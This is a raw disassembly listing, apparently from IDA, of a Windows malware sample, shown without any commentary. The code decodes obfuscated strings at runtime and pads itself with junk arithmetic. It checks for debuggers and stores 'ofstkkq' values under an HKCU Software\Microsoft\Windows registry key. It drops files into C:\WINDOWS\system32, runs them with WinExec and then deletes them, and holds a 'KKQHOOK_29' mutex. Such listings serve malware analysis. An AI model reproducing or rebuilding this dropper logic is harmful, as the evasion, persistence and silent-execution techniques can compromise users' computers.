		push	offset word_446CE2
		call	sub_40129C
		push	[ebp+var_1018]
		push	eax
		lea	edi, [ebp+var_112B]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_112B]
		push	eax
		lea	eax, [ebp+var_F08]
		push	eax
		call	sub_40CC74
		mov	[ebp+var_1024],	7ED9h
		mov	eax, 39E6h
		mul	[ebp+var_1024]
		mov	[ebp+var_15BC],	eax
		mov	[ebp+var_1024],	eax
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_F08]
		push	edi
		push	0
		call	sub_4061F7
		add	esp, 6Ch
		mov	ebx, eax
		mov	[ebp+var_1028],	47D6h
		mov	eax, 2DD7h
		mul	[ebp+var_1028]
		mov	[ebp+var_15C0],	eax
		mov	[ebp+var_1028],	eax
		or	ebx, ebx
		jnz	short loc_409BA8
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		pop	ecx
		mov	[ebp+var_15C2],	2655h
		movzx	eax, [ebp+var_15C2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_15C2],	ax
		jmp	loc_40A8A0
; ---------------------------------------------------------------------------


loc_409BA8:				; CODE XREF: sub_4098A8+2CAj
		and	[ebp+var_1018],	0
		push	1Ah
		push	offset aZAgJIsJZAigGz ;	"‡»² £µ¦±ˆ™½·¦»§»² ˆƒ½º°»£§"
		call	sub_40129C
		mov	[ebp-15C4h], eax
		push	3
		push	offset word_446CEA
		call	sub_40129C
		push	4
		push	4
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp-15C4h]
		push	edi
		push	80000001h
		call	sub_40160A
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_401A7E
		add	esp, 30h
		mov	[ebp+var_F0C], eax
		or	eax, eax
		jz	loc_40A8A0
		lea	edi, [ebp+var_115E]
		lea	esi, aOcqud	; "ocqUd"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		pop	ecx
		and	[ebp+var_708], 0
		jmp	loc_40A867
; ---------------------------------------------------------------------------


loc_409C42:				; CODE XREF: sub_4098A8+FE2j
		mov	ax, word_4469F0
		mov	[ebp+var_35D0],	ax
		cmp	[ebp+var_600], 0
		jz	loc_40A867
		call	sub_40C734	; GetCurrentProcessId
		lea	ecx, [ebp+var_600]
		or	eax, 0FFFFFFFFh


loc_409C6A:				; CODE XREF: sub_4098A8+3C7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409C6A
		cmp	eax, 5Ch
		jb	loc_40A867
		mov	[ebp+var_25C5],	9Bh
		movzx	eax, [ebp+var_25C5]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25C5],	al
		mov	[ebp+var_5A8], 0
		mov	ax, word_4469F2
		mov	[ebp+var_35D2],	ax
		push	0FFFh
		lea	eax, [ebp+var_25C4]
		push	eax
		lea	eax, [ebp+var_5A7]
		push	eax
		call	sub_40893E
		push	0FFFh
		lea	eax, [ebp+var_35CD]
		push	eax
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_40893E
		add	esp, 18h
		mov	[ebp+var_25CC],	1FCCh
		mov	eax, [ebp+var_25CC]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_25CC],	edx
		mov	[ebp+var_15C6],	0
		mov	[ebp+var_25CE],	35D8h
		movzx	eax, [ebp+var_25CE]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_25CE],	ax
		mov	[ebp+var_15C5],	0
		jmp	short loc_409D40
; ---------------------------------------------------------------------------


loc_409D22:				; CODE XREF: sub_4098A8+4B1j
		movzx	eax, [ebp+var_15C5]
		lea	edx, [ebp+eax+var_25C4]
		movsx	ecx, byte ptr [edx]
		sub	ecx, eax
		mov	eax, ecx
		mov	[edx], al
		add	[ebp+var_15C5],	1


loc_409D40:				; CODE XREF: sub_4098A8+478j
		lea	ecx, [ebp+var_25C4]
		or	eax, 0FFFFFFFFh


loc_409D49:				; CODE XREF: sub_4098A8+4A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D49
		movzx	esi, [ebp+var_15C5]
		cmp	esi, eax
		jb	short loc_409D22
		mov	[ebp+var_35CE],	4
		add	[ebp+var_35CE],	1
		lea	ecx, [ebp+var_25C4]
		or	eax, 0FFFFFFFFh


loc_409D72:				; CODE XREF: sub_4098A8+4CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_409D72
		lea	esi, [ebp+var_35CD]
		push	esi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_408779
		add	esp, 0Ch
		mov	[ebp+var_35D8],	eax
		push	5
		push	offset word_446CDA
		call	sub_40129C
		add	esp, 8
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0
		jnz	loc_40A2DE
		mov	[ebp+var_46E4],	234h
		mov	eax, [ebp+var_46E4]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_46E4],	edx
		mov	eax, dword_4469F4
		mov	[ebp+var_470C],	eax
		lea	edi, [ebp+var_4714]
		lea	esi, aMB7d	; "M;$:7d"
		mov	ecx, 8
		rep movsb
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_45DB]
		push	eax
		call	sub_40C6D8
		call	sub_40C854	; IsDebuggerPresent
		mov	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		lea	eax, [ebp+var_46F4]
		push	eax
		lea	eax, [ebp+var_46E0]
		push	eax
		lea	eax, [ebp+var_35DC]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 18h
		mov	[ebp+var_46F5],	9Dh
		movzx	eax, [ebp+var_46F5]
		imul	eax, 3388h
		mov	[ebp+var_46F5],	al
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		add	esp, 8
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		add	esp, 10h
		call	sub_40C764	; RtlGetLastWin32Error
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		add	esp, 8
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_45DB]
		push	edi
		push	offset dword_41FA00
		call	sub_4061F7
		add	esp, 20h
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		cmp	ebx, 0
		jnz	short loc_409F27
		mov	[ebp+var_472D],	69h
		add	[ebp+var_472D],	1
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 4
		call	sub_40C7D0	; GetVersion
		jmp	short loc_409F60
; ---------------------------------------------------------------------------


loc_409F27:				; CODE XREF: sub_4098A8+659j
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkq	; "ofstkkq"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		mov	eax, dword_446A00
		mov	[ebp+var_4718],	eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 1Ch


loc_409F60:				; CODE XREF: sub_4098A8+67Dj
		and	[ebp+var_35DC],	0
		mov	[ebp+var_46E0],	4
		call	sub_40C794	; GetProcessHeap
		lea	eax, [ebp+var_46F4]
		push	eax
		lea	eax, [ebp+var_46E0]
		push	eax
		lea	eax, [ebp+var_35DC]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4014C9
		add	esp, 18h
		push	0
		push	0
		push	4
		push	0
		push	0
		push	80000000h
		push	offset dword_40E080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_46EC],	eax
		push	0
		push	eax
		call	sub_40C74C	; GetFileSize
		mov	[ebp+var_4708],	eax
		call	sub_40C7D0	; GetVersion
		push	[ebp+var_46EC]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C764	; RtlGetLastWin32Error
		mov	eax, [ebp+var_4708]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_409FFC
		call	sub_40C794	; GetProcessHeap
		jmp	loc_40A157
; ---------------------------------------------------------------------------


loc_409FFC:				; CODE XREF: sub_4098A8+748j
		lea	edi, [ebp+var_471F]
		lea	esi, dword_446A04
		mov	ecx, 7
		rep movsb
		mov	eax, 1Ah
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9
		push	offset dword_446CD0
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		mov	[ebp+var_46FC],	3814h
		add	[ebp+var_46FC],	12E1h
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35DC]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_45DB]
		push	edi
		push	offset dword_40E080
		call	sub_4061F7
		mov	ebx, eax
		mov	[ebp+var_46FE],	486Fh
		movzx	eax, [ebp+var_46FE]
		imul	eax, 20EDh
		mov	[ebp+var_46FE],	ax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		lea	edi, [ebp+var_4724]
		lea	esi, aUw	; "UW|'"
		mov	ecx, 5
		rep movsb
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 50h
		mov	[ebp+var_4700],	1BDh
		movzx	eax, [ebp+var_4700]
		imul	eax, 1736h
		mov	[ebp+var_4700],	ax
		or	ebx, ebx
		jz	short loc_40A157
		mov	dword ptr [ebp-4730h], 1381h
		sub	dword ptr [ebp-4730h], 2095h
		cmp	[ebp+var_604], 0
		jz	short loc_40A157
		push	4
		push	4
		lea	eax, [ebp+var_604]
		push	eax
		push	offset aOfstkkqc ; "ofstkkqc"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_40160A
		add	esp, 18h


loc_40A157:				; CODE XREF: sub_4098A8+74Fj
					; sub_4098A8+86Ej ...
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_415080
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_46F0],	eax
		lea	edi, [ebp+var_472C]
		lea	esi, aP2	; ">:=	P2"
		movsd
		movsd
		cmp	[ebp+var_46F0],	0FFFFFFFFh
		jz	loc_40A8A0
		call	sub_40C7C4	; GetTickCount
		push	[ebp+var_46F0]
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7C4	; GetTickCount
		lea	eax, [ebp+var_45DB]
		push	eax
		lea	eax, [ebp+var_F08]
		push	eax
		call	sub_40CC50
		mov	[ebp+var_46E6],	4301h
		movzx	eax, [ebp+var_46E6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_46E6],	ax
		push	6
		push	offset aIDsc	; "ë°¹¤éæ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_F08]
		push	edi
		call	sub_40CC74
		mov	[ebp+var_4701],	99h
		movzx	eax, [ebp+var_4701]
		imul	eax, 2D23h
		mov	[ebp+var_4701],	al
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40341E
		call	sub_40C740	; GetCurrentThreadId
		mov	eax, dword_43C094
		add	eax, 3
		push	eax
		lea	eax, [ebp+var_46DA]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_46DA]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		mov	[ebp+var_4702],	0B2h
		add	[ebp+var_4702],	25h
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	[ebp+var_35DC]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_400]
		push	edi
		lea	edi, [ebp+var_F08]
		push	edi
		push	offset dword_415080
		call	sub_4061F7
		mov	ebx, eax
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40349A
		add	esp, 68h
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jz	short loc_40A2DE
		mov	eax, dword_446A18
		mov	[ebp-4730h], eax
		push	offset dword_415080
		call	sub_40C704	; DeleteFileA


loc_40A2DE:				; CODE XREF: sub_4098A8+51Cj
					; sub_4098A8+A1Fj
		cmp	[ebp+var_25C4],	3Ah
		jnz	loc_40A499
		cmp	[ebp+var_25C1],	3Ah
		jnz	loc_40A499
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_25C1],	0
		push	5
		push	offset byte_446CC3
		call	sub_40129C
		lea	edi, [ebp+var_35DC]
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40CC68
		add	esp, 14h
		call	sub_40C7D0	; GetVersion
		cmp	[ebp+var_35DC],	0
		jz	short loc_40A35E
		call	sub_40CC38
		mov	edx, 621B97C3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		inc	edi
		cmp	edi, [ebp+var_35DC]
		ja	loc_40A867


loc_40A35E:				; CODE XREF: sub_4098A8+A8Bj
		mov	[ebp+var_35DD],	36h
		add	[ebp+var_35DD],	1
		cmp	ds:dword_419720, 2
		jnz	short loc_40A3DE
		mov	[ebp+var_35DF],	79h
		movzx	eax, [ebp+var_35DF]
		imul	eax, 2939h
		mov	[ebp+var_35DF],	al
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		push	0Ah
		push	offset dword_446CB8
		call	sub_40129C
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_1010]
		push	edi
		call	sub_40CC50
		push	8
		push	offset byte_446CAF
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC74
		add	esp, 24h
		jmp	short loc_40A43F
; ---------------------------------------------------------------------------


loc_40A3DE:				; CODE XREF: sub_4098A8+ACBj
		call	sub_40C7C4	; GetTickCount
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C7F4	; GetWindowsDirectoryA
		call	sub_40C7C4	; GetTickCount
		push	0Eh
		push	offset dword_446CA0
		call	sub_40129C
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_1010]
		push	edi
		call	sub_40CC50
		call	sub_40C734	; GetCurrentProcessId
		push	0Ch
		push	offset byte_446C93
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC74
		add	esp, 24h
		call	sub_40C734	; GetCurrentProcessId


loc_40A43F:				; CODE XREF: sub_4098A8+B34j
		lea	eax, [ebp+var_1010]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C734	; GetCurrentProcessId
		push	8
		push	offset word_446C8A
		call	sub_40129C
		lea	edi, [ebp+var_25C4]
		add	edi, 4
		push	edi
		lea	edi, [ebp+var_400]
		push	edi
		push	eax
		lea	edi, [ebp+var_400]
		push	edi
		call	sub_40CC50
		add	esp, 18h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_40C938	; WinExec
		mov	[ebp+var_35DE],	3Dh
		add	[ebp+var_35DE],	10h


loc_40A499:				; CODE XREF: sub_4098A8+A3Dj
					; sub_4098A8+A4Aj
		push	5
		push	offset dword_446C84
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A62C
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_55DC],	1060h
		sub	[ebp+var_55DC],	872h
		lea	edi, [ebp+var_55E1]
		lea	esi, aQ		; "^:$q"
		mov	ecx, 5
		rep movsb
		mov	eax, 19h
		sub	eax, dword_43C098
		push	eax
		lea	eax, [ebp+var_703]
		push	eax
		call	sub_40172F
		push	9
		push	offset byte_446D1F
		call	sub_40129C
		lea	edi, [ebp+var_703]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_45D7]
		push	edi
		call	sub_40CC50
		mov	eax, dword_446A21
		mov	[ebp+var_55E6+1], eax
		mov	eax, dword_446A25
		mov	[ebp+var_55EA+1], eax
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_55D6]
		push	eax
		call	sub_40C6D8
		call	sub_40C764	; RtlGetLastWin32Error
		push	3
		push	offset aMC	; "¬°æ"
		call	sub_40129C
		mov	[ebp+var_55F0],	eax
		push	1
		push	offset byte_446CE0
		call	sub_40129C
		push	0
		push	0
		push	0
		push	eax
		mov	edi, [ebp+var_55F0]
		push	edi
		lea	edi, [ebp+var_45D7]
		push	edi
		lea	edi, [ebp+var_55D6]
		push	edi
		push	0
		call	sub_4061F7
		add	esp, 50h
		mov	ebx, eax
		lea	edi, [ebp+var_55EA]
		lea	esi, byte_446A29
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	ebx, 2
		jnz	short loc_40A62C
		mov	[ebp+var_55F4],	554Dh
		mov	eax, 565Ch
		mul	[ebp+var_55F4]
		mov	[ebp+var_55F8],	eax
		mov	[ebp+var_55F4],	eax
		push	0
		lea	eax, [ebp+var_45D7]
		push	eax
		call	sub_40C938	; WinExec
		push	6
		push	offset aGvJ	; "º±£¢±¦"
		call	sub_40129C
		mov	edi, 13h
		sub	edi, dword_43C098
		push	edi
		push	eax
		lea	edi, [ebp+var_55D6]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jz	short loc_40A62C
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CBFC
		pop	ecx


loc_40A62C:				; CODE XREF: sub_4098A8+C1Bj
					; sub_4098A8+D12j ...
		push	5
		push	offset byte_446C73
		call	sub_40129C
		mov	edi, 6
		sub	edi, dword_43C094
		push	edi
		push	eax
		lea	edi, [ebp+var_25C4]
		push	edi
		call	sub_40181A
		add	esp, 14h
		or	eax, eax
		jnz	loc_40A867
		mov	ax, word_446A2A
		mov	[ebp+var_5602],	ax
		call	sub_40C7C4	; GetTickCount
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		push	offset dword_41E8D0
		call	sub_40C8CC	; CreateFileA
		mov	[ebp+var_45E8],	eax
		mov	[ebp+var_55F0],	3Ch
		add	[ebp+var_55F0],	5583h
		push	6
		push	offset aSA	; "è¼ ¹¸ê"
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_55EC]
		push	edi
		mov	edi, 18h
		sub	edi, dword_43C098
		push	edi
		push	eax
		push	[ebp+var_45E8]
		call	sub_40C944	; WriteFile
		lea	eax, [ebp+var_25BF]
		push	eax
		lea	eax, [ebp+var_45DB]
		push	eax
		call	sub_40C6D8
		mov	word ptr [ebp+var_55F4+2], 1AEFh
		inc	word ptr [ebp+var_55F4+2]
		lea	ecx, [ebp+var_45DB]
		or	eax, 0FFFFFFFFh


loc_40A6FD:				; CODE XREF: sub_4098A8+E5Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A6FD
		mov	[ebp+var_45E0],	eax
		mov	[ebp+var_35DC],	0
		jmp	short loc_40A73A
; ---------------------------------------------------------------------------


loc_40A716:				; CODE XREF: sub_4098A8+E9Ej
		mov	eax, [ebp+var_35DC]
		cmp	[ebp+eax+var_45DB], 7Ch
		jnz	short loc_40A734
		mov	eax, [ebp+var_35DC]
		mov	[ebp+eax+var_45DB], 0


loc_40A734:				; CODE XREF: sub_4098A8+E7Cj
		inc	[ebp+var_35DC]


loc_40A73A:				; CODE XREF: sub_4098A8+E6Cj
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_35DC],	eax
		jb	short loc_40A716
		lea	edi, [ebp+var_5609]
		lea	esi, aV_ngv	; "V_Ngv+"
		mov	ecx, 7
		rep movsb
		and	[ebp+var_45E4],	0


loc_40A762:				; CODE XREF: sub_4098A8+F90j
		push	1Fh
		push	offset dword_446C4C
		call	sub_40129C
		mov	edi, [ebp+var_45E4]
		lea	edi, [ebp+edi+var_45DB]
		push	edi
		push	eax
		lea	edi, [ebp+var_55EA+3]
		push	edi
		call	sub_40CC50
		add	esp, 14h
		mov	byte ptr [ebp+var_55F4+1], 0CCh
		add	byte ptr [ebp+var_55F4+1], 1
		lea	ecx, [ebp+var_55EA+3]
		or	eax, 0FFFFFFFFh


loc_40A7A3:				; CODE XREF: sub_4098A8+F00j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A7A3
		push	0
		lea	esi, [ebp+var_55EC]
		push	esi
		push	eax
		lea	edi, [ebp+var_55EA+3]
		push	edi
		push	[ebp+var_45E8]
		call	sub_40C944	; WriteFile
		mov	[ebp+var_55F8],	0FBh
		mov	eax, 2DF3h
		mul	[ebp+var_55F8]
		mov	[ebp+var_5610],	eax
		mov	eax, [ebp+var_5610]
		mov	[ebp+var_55F8],	eax
		mov	eax, [ebp+var_45E4]
		mov	[ebp+var_5614],	eax
		lea	ecx, [ebp+eax+var_45DB]
		or	eax, 0FFFFFFFFh


loc_40A803:				; CODE XREF: sub_4098A8+F60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40A803
		mov	esi, [ebp+var_5614]
		add	esi, eax
		mov	[ebp+var_45E4],	esi
		mov	[ebp+var_55F9],	17h
		add	[ebp+var_55F9],	0FAh
		inc	[ebp+var_45E4]
		mov	eax, [ebp+var_45E0]
		cmp	[ebp+var_45E4],	eax
		jb	loc_40A762
		mov	[ebp+var_55FA],	0B8h
		sub	[ebp+var_55FA],	50h
		push	[ebp+var_45E8]
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_5600],	5720h
		inc	[ebp+var_5600]


loc_40A867:				; CODE XREF: sub_4098A8+395j
					; sub_4098A8+3AEj ...
		lea	eax, [ebp+var_600]
		push	eax
		push	[ebp+var_708]
		push	[ebp+var_F0C]
		call	sub_401BB7
		add	esp, 0Ch
		mov	[ebp+var_708], eax
		or	eax, eax
		jnz	loc_409C42
		push	[ebp+var_F0C]
		call	sub_40C884	; LocalFree
		call	sub_40C7D0	; GetVersion


loc_40A8A0:				; CODE XREF: sub_4098A8+2FBj
					; sub_4098A8+35Bj ...
		call	sub_408B4C
		call	sub_40C764	; RtlGetLastWin32Error
		fld	dbl_446C44
		fimul	dword_43C0BC
		mov	edi, eax
		call	sub_40C630
		xchg	eax, edi
		push	edi
		call	sub_40CBF0
		mov	edi, dword_43C0C0
		sub	edi, eax
		inc	edi
		mov	[ebp+var_1014],	edi
		mov	eax, dword_446A33
		mov	[ebp+var_1162],	eax
		mov	eax, edi
		mov	[ebp-15C8h], eax
		push	eax
		call	sub_40CBF0
		add	esp, 8
		mov	edi, [ebp-15C8h]
		add	edi, eax
		mov	[ebp+var_1014],	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, edi
		mov	edi, dword_43C0C0
		sub	edi, dword_43C0BC
		mov	ecx, edi
		inc	ecx
		xor	edx, edx
		div	ecx
		mov	[ebp+var_15CC],	eax
		mov	[ebp+var_1014],	eax
		call	sub_40C854	; IsDebuggerPresent
		call	sub_40CC38
		mov	[ebp+var_15D0],	eax
		mov	eax, dword_43C0BC
		mov	edx, 66666667h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 1
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		lea	edi, [eax+eax*4]
		mov	esi, [ebp+var_1014]
		mov	edx, [ebp+var_15D0]
		mov	eax, esi
		imul	eax, [ebp+var_15D0]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		lea	edi, [edi+edx+5]
		mov	dword_43C0BC, edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, dword_43C0C0
		cmp	dword_43C0BC, eax
		jbe	short loc_40A98F
		and	dword_43C0BC, 0


loc_40A98F:				; CODE XREF: sub_4098A8+10DEj
		lea	edi, [ebp+var_1163]
		lea	esi, byte_446A37
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	30D40h
		call	sub_40CBD8
		pop	ecx
		call	sub_40C764	; RtlGetLastWin32Error
		jmp	loc_40993B
sub_4098A8	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9BC	proc near		; CODE XREF: sub_40AA24+11p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	sub_40C7D0	; GetVersion
		mov	[ebp+var_2], 7C9Bh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	offset aKkqhook_29 ; "KKQHOOK_29"
		push	0
		push	1F0001h
		call	sub_40C890	; OpenMutexA
		mov	[ebp+var_8], eax
		or	eax, eax
		jz	short loc_40AA21
		call	sub_40C764	; RtlGetLastWin32Error
		push	[ebp+var_8]
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_C], 7B70h
		sub	[ebp+var_C], 2C79h
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		call	sub_40CBFC
		pop	ecx


loc_40AA21:				; CODE XREF: sub_40A9BC+36j
		pop	edi
		leave
		retn
sub_40A9BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA24	proc near		; CODE XREF: sub_40C654+5Cp

var_7CF		= byte ptr -7CFh
var_7C8		= dword	ptr -7C8h
var_7C3		= byte ptr -7C3h
var_7C1		= byte ptr -7C1h
var_7C0		= dword	ptr -7C0h
var_7BC		= dword	ptr -7BCh
var_7B8		= dword	ptr -7B8h
var_7B4		= byte ptr -7B4h
var_7AF		= byte ptr -7AFh
var_7AC		= word ptr -7ACh
var_7AA		= byte ptr -7AAh
var_7A2		= byte ptr -7A2h
var_79F		= byte ptr -79Fh
var_797		= word ptr -797h
var_795		= byte ptr -795h
var_792		= byte ptr -792h
var_78C		= byte ptr -78Ch
var_784		= byte ptr -784h
var_780		= dword	ptr -780h
var_77C		= word ptr -77Ch
var_77A		= byte ptr -77Ah
var_67B		= byte ptr -67Bh
var_57C		= byte ptr -57Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= byte ptr -470h
var_36C		= dword	ptr -36Ch
var_367		= byte ptr -367h
var_366		= word ptr -366h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35B		= byte ptr -35Bh
var_2F7		= byte ptr -2F7h
var_293		= byte ptr -293h
var_292		= word ptr -292h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_286		= word ptr -286h
var_284		= dword	ptr -284h
var_27E		= word ptr -27Eh
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_272		= word ptr -272h
var_270		= byte ptr -270h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_167		= byte ptr -167h
var_166		= word ptr -166h
var_164		= word ptr -164h
var_161		= byte ptr -161h
var_5D		= byte ptr -5Dh
var_5C		= dword	ptr -5Ch
var_55		= dword	ptr -55h
var_51		= dword	ptr -51h
var_4D		= dword	ptr -4Dh
var_49		= dword	ptr -49h
var_45		= dword	ptr -45h
var_41		= dword	ptr -41h
var_3D		= dword	ptr -3Dh
var_39		= dword	ptr -39h
var_35		= dword	ptr -35h
var_31		= dword	ptr -31h
var_2D		= byte ptr -2Dh
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_1D		= byte ptr -1Dh
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		call	sub_40C764	; RtlGetLastWin32Error
		call	sub_40A9BC
		call	sub_40C734	; GetCurrentProcessId
		mov	ax, word_446A38
		mov	[ebp+var_77C], ax
		push	104h
		lea	eax, [ebp+var_161]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		mov	[ebp+var_164], 7225h
		sub	[ebp+var_164], 4952h
		push	13h
